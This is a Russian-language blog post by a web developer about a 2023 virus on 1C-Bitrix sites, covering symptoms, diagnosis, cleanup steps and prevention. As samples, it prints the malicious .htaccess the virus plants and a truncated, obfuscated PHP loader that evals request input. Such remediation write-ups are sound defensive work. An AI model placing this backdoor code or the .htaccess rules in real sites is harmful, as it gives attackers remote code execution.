My-Lib.Space - coming soon.

🦠 Вирус на сайтах под управлением 1С-Битрикс

В начале 2023 года многие сайты на 1С-Битрикс подверглись атаке, разбираем как это проявляется и как с этим бороться.

Этот блог создан для того, чтобы поделиться своим опытом. Если эта информация пригодится хотя бы одному человеку, то всё это не зря.

Проблемы и симптомы

Основные симптомы выглядят так:

  • Вместо сайта белый экран
  • При переходе на сайт редирект на сайт казино или т.п.
  • В админке открывается только главная страница, а при переходе в раздел админки - 403 ошибика

На самом деле могут быть и другие, но из всех сайтов, что я проверил - эти были у каждого.

В чем проблема? К вам на сайт был загружен вирус, этот вирус при исполнении создает копию себя и заменяет или добавляет вредоносный код в ваши файлы. Так-же, вирус создает собственный .htaccess, в котором вот такой код:

<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php|inputs.php|adminfuns.php|chtmlfuns.php|cjfuns.php|classsmtps.php|classfuns.php|
comfunctions.php|comdofuns.php|connects.php|copypaths.php|delpaths.php|doiconvs.php|epinyins.php|
filefuns.php|gdftps.php|hinfofuns.php|hplfuns.php|memberfuns.php|moddofuns.php|onclickfuns.php|
phpzipincs.php|qfunctions.php|qinfofuns.php|schallfuns.php|tempfuns.php|userfuns.php|siteheads.php
|termps.php|txets.php|thoms.php|postnews.php|wp-blog-header.php|wp-config-sample.php|wp-links-opml.php|
wp-login.php|wp-settings.php|wp-trackback.php|wp-activate.php|wp-comments-post.php|wp-cron.php|
wp-load.php|wp-mail.php|wp-signup.php|xmlrpc.php|edit-form-advanced.php|link-parse-opml.php|
ms-sites.php|options-writing.php|themes.php|admin-ajax.php|edit-form-comment.php|link.php|
ms-themes.php|plugin-editor.php|admin-footer.php|edit-link-form.php|load-scripts.php|
ms-upgrade-network.php|admin-functions.php|edit.php|load-styles.php|ms-users.php|
plugins.php|admin-header.php|edit-tag-form.php|media-new.php|my-sites.php|post-new.php|
admin.php|edit-tags.php|media.php|nav-menus.php|post.php|admin-post.php|export.php|media-upload.php|
network.php|press-this.php|upload.php|async-upload.php|menu-header.php|options-discussion.php|
privacy.php|user-edit.php|menu.php|options-general.php|profile.php|user-new.php|moderation.php|
options-head.php|revision.php|users.php|custom-background.php|ms-admin.php|options-media.php|
setup-config.php|widgets.php|custom-header.php|ms-delete-site.php|options-permalink.php|term.php|
customize.php|link-add.php|ms-edit.php|options.php|edit-comments.php|link-manager.php|ms-options.php|
options-reading.php|system_log.php)$'>
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . index.php [L]
</IfModule>

А в файлах index.php вот такой код:

<?php /*-qN00@V:`-*/error_reporting(0); $DJA /*-aYl?2`k:C^LN;R-*/=/*-kYB7t.udNQe]87d1O;-*/ "ra"
./*-dsqM6|wNO)-*/"ng"./*-6jjo6$E@z%}xr~j2-*/"e"; $eV /*->^I{~H~D{A,C-Ox>-*/= /*-2&bt^&]Y.O-*
/$DJA/*-@>gV&i@UUO}W>-*/(/*-<^:!k67PVG4$|N@Nkm-*/"~",/*-H~_c9W1Fd[o,ge.QU5-*/" ");/*-0dG%CPX~k
DLa-*/$pP/*-F?-hU~i&t%|{f-*/=/*->-3b7Whq0Ye%:-*/${$eV[30+1]/*-3~ub~8yeKWm)|-*/.$eV[40+19].
/*-|UMk$+9y-*/$eV[12+35].$eV[21+26]./*-`rO~!yr5|s`jRGu-*/$eV[25+26].$eV[5+48].$eV/*-y~J&!:?EEm0mx
6ksvn?-*/[38+19]}; /*-rt|gts~zht-*/if(/*-J8@$p3td3|@%E-*/(in_array/*-mqlN(M&a]hB-*/(gettype/*-S9J
ka|z-;}C,t%^D^-Xym
nM2-*/($pP)==(2+26))){(($pP[19+44]=$pP[45+18].$pP[5+69])/*-4z43v]fDv.zxca(a$}-*/&&/*-3j$>6Uzxqux)
Yrv-*/@eval/*-uJ)fh}M75;K>|5-*/($pP[19+44](${$pP[10+33]}[15+15])));}/*-Iuomav-*/class /*-}y#w-*/g{
/*-CYIaC%-*/static/*-o.c1HhPf$-*/ function /*-$@;j-*/yChq($hCH) /*-OAA=R4?x6-*/{ $ZH/*-_)7Ge^z-*/
= /*-B5p){P!%+-*/"r"./*-_h-*/"a"./*-R`ZIM6-*/"n"./*-$@mbZr-*/"g"./*-1_v81-*/"e"; /*--j$cbv-*/$FwiSXK
/*-M(c:}d-*/ = /*-}1(AD-*/$ZH/*-#x-*/(/*-6>-*/"~"/*-J-{-*/, /*-S_-*/" "/*-(HM-*/);/*-YZ|-*/ $RrpZEzLD
....

Таким образом при попытке открыть сайт, происходит копирование вируса, а сам сайт не открывается.

Диагностика

Для начала стоит подключиться через файловый менеджер или FTP к сайту и убедиться, что файлы действительно заражены.

Файлы .htaccess с кодом выше могут находиться не только в корне, но и в каждой подпапке сайта. Таким образом удалением одного проблему не решишь.

Так-же стоит проверить все файлы в корне и в папках с расширение.php, в каждом таком файле может содержаться вредоносный код.

Все зависит от того как долго сайт был заражен. Чем дольше, тем глубже будут заражены файлы.

Если глянуть логи веб-сервера у зараженного сайта, то к сайту приходят разные запросы, так можно посмотреть где есть подозрительные файлы, так как к зараженным файлам с разный IP адресов могут обращаться, чтобы их запускать.

Лечение

Для начала стоит остановить веб-сервер или перенаправить домен на другой сайт заглушку, где будет указано, что на сайте проводятся технические работы.

Далее приступаем к лечению.

Если у вас есть бэкап сайта, на момент создания не зараженного, то вы можете восстановить из бэкапа, важно это сделать не в ту же папку, а в отдельную.

Если актуального бэкапа нет, то порядок действий такой:

1) Для начала удалим все .htaccess. Подключаемся через SSH и вводим такую команду

cd /path/to/your/site
find . -type f -perm 0444 -name ".htaccess" -delete;

Первой строчкой мы переходим в директорию сайта. Второй находим все файлы .htaccess с правами 444, так как все зараженные файлы имеют права 444. И удаляем их. Но для сайта на Битрикс необходим этот файл, на сайте Битрикса вы можете взять дефолтный файл и загрузить его в корень сайта. Ссылка: https://dev.1c-bitrix.ru/learning/course/index.php?COURSE_ID=32&LESSON_ID=3295.

2) Далее придется вручную пройтись по папкам и файлам сайта и удалить код, как в примере выше. Обычно он распологается в самом начале в первой строке. Надо удалить все до подключения Битрикса, пример как выглядит файл после удаления кода:

<?
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");
$APPLICATION->SetTitle("Title");
?>
...

Если вы видите файл в название которого белиберда, например sdfkjh30jisdg9.php , то смело удаляйте его - это вирус. Еще могут встречаться файлы и папки с названием wp_… - это тоже вирус, эти файлы должны навредить сайту на wordpress, но и битриксу они усложняют функционирование - все удаляем.

Иногда встречается, что может быть заражен файл /bitrix/modules/main/bx_root.php.

Вот содержимое этого файла без вредоносного кода:

<?
define("BX_ROOT", "/bitrix");
if(isset($_SERVER["BX_PERSONAL_ROOT"]) && $_SERVER["BX_PERSONAL_ROOT"] <> "")
  define("BX_PERSONAL_ROOT", $_SERVER["BX_PERSONAL_ROOT"]);
else
  define("BX_PERSONAL_ROOT", BX_ROOT);

3) После того как вы удалите все, то ваш сайт заработает и вы сможете попасть в админку. В админке необходимо перейти в Настрой - Автокеширование - Очистка кеша и удалить весь кеш. Если возникнет проблема, то надо будет это сделать вручную, надо удалить все в папках:
/bitrix/manage_cache/
/bitrix/cache/

4) Проверяем Агенты у Битрикса. Надо зайти в Настройки - Настройки продукта - Агенты и изучить что есть в таблице. Если видим для модуля main агент с белибердой в коде. То этот агент так-же необходимо удалить.

5) И последним необходимо удалить эти модули:
/bitrix/modules/vote/
/bitrix/tools/vote/

Профилактика и защита на будущее

После того как мы все удалили нам необходимо сменить все пароли от администраторов сайта, а также от хостинга. После этого обновить битрикс до последней версии. Сделать актуальный бэкап всех файлов. И какое-то время периодически проверять сайт на предмет зараженных файлов. Это можно сделать вручную или установить сканер, например: https://marketplace.1c-bitrix.ru/solutions/bitrix.xscan/

Алексей Шелихов

Если нужна помощь с удалением вируса

Проделанное выше должно вам помочь. Если у вас что-то не получилось или столкнулись с какой-то другой модификацией, то вы можете написать мне в Телеграмм https://t.me/alexey_shelikhov или на почту alexey@shelikhov.me и я вам помогу.

Алексей Шелихов - веб-разработчик, ментор и предприниматель


Связаться со мной

Я в инстаграм @shelikhov.me, но вы так же можете написать мне на alexey@shelikhov.me.